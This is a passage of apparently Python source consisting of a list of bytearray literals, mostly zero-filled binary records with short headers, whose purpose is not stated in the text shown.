0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x73, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x18, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x73, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x28, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x10, 0x06, 0x2C, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x11, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x73, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x5E, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x73, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x92, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x73, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x09, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x0F, 0x3C, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x73, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x07, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x7D, 0x04, 0x00, 0x00, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x7D, 0x04, 0xF4, 0x01, 0xFA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x7D, 0x04, 0xE8, 0x03, 0xEF, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x7D, 0x04, 0xD0, 0x07, 0xD8, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x7D, 0x04, 0xB8, 0x0B, 0xC6, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x7D, 0x04, 0xA0, 0x0F, 0xAA, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x7D, 0x04, 0x94, 0x11, 0xAE, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x7D, 0x04, 0xF8, 0x11, 0x05, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x7D, 0x04, 0x88, 0x13, 0xA5, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x7D, 0x04, 0x7C, 0x15, 0x8C, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x7D, 0x04, 0x70, 0x17, 0xC0, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x7D, 0x04, 0x64, 0x19, 0x79, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x7D, 0x04, 0x58, 0x1B, 0x5B, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x7D, 0x04, 0xBC, 0x1B, 0xC7, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x7D, 0x04, 0x20, 0x1C, 0x21, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x7D, 0x04, 0x40, 0x1F, 0x40, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x7D, 0x04, 0x34, 0x21, 0x4B, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x7D, 0x04, 0x28, 0x23, 0x30, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 